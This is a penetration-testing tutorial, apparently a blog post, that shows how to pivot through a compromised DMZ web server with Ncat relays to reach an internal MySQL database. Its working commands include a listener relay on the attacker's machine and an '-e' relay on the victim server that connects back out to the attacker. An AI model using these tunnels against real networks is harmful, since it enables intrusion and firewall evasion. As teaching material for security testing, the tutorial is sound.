
In the above diagram, I have illustrated a common DMZ setup with one web server in the DMZ and one internal MySQL database server on the protected network. We will say for arguments sake that the Web Server is running a vulnerable version of IIS. Our goal is to access the internal database sever from where our attacker sits on the network.
To access the Database Server from the attacker’s box, we will use the DMZ web server as a pivot point. All traffic to and from the victim and attacker will be routed through this host. In order to accomplish this feat, we will use Ncat. Ncat is an updated implementation of netcat. An entire book could easily be written describing the tool, so I will just cover the usage that pertains to this illustration.
On the Attacker’s Machine:
Because the firewall allows inbound connections to the web server on port 80 and also permits any outbound connection from the web server, we can compromise the web server through its vulnerable web service and then do a reverse connection back to our attacking machine. So we will setup a listener with Ncat. However we will do a listener-to-listener relay so that we can communicate through the established connection by connecting to the TCP 3306 listener.
ncat -l 1337 -c "ncat -l 3306"
-l 1337 : listen on tcp port 1337
-c “ncat -l 3306″ : spawns a new listener that will send and receive data through a connection on port 1337
Ok, now we have our relay setup and waiting on our attacking machine.
On the Web Server:
Assuming we have installed Ncat on the DMZ web server by exploiting the vulnerable web service, we can now create a client-to-client relay which will make a connection to the listener we just created as well as make a connection to the database server. This link will carry all communication to and from the attacker and database server.
ncat 10.1.1.1 1337 -e "ncat 10.3.1.1 3306"
-e “ncat 10.3.1.1 3306″ : the -e executes a command. You’ll notice on the attacker we used -c. That is because the attacker is running Linux and the -c tells Ncat to execute via /bin/sh.
Back on Attacker’s Machine:
Ok, now that our link has been established, all that is left is to connect through the listner on the attacker’s machine listening on port 3306. A command like this:
mysql -h 127.0.0.1 -u root -p
You will be routed through the Ncat tunnel to the internal database server.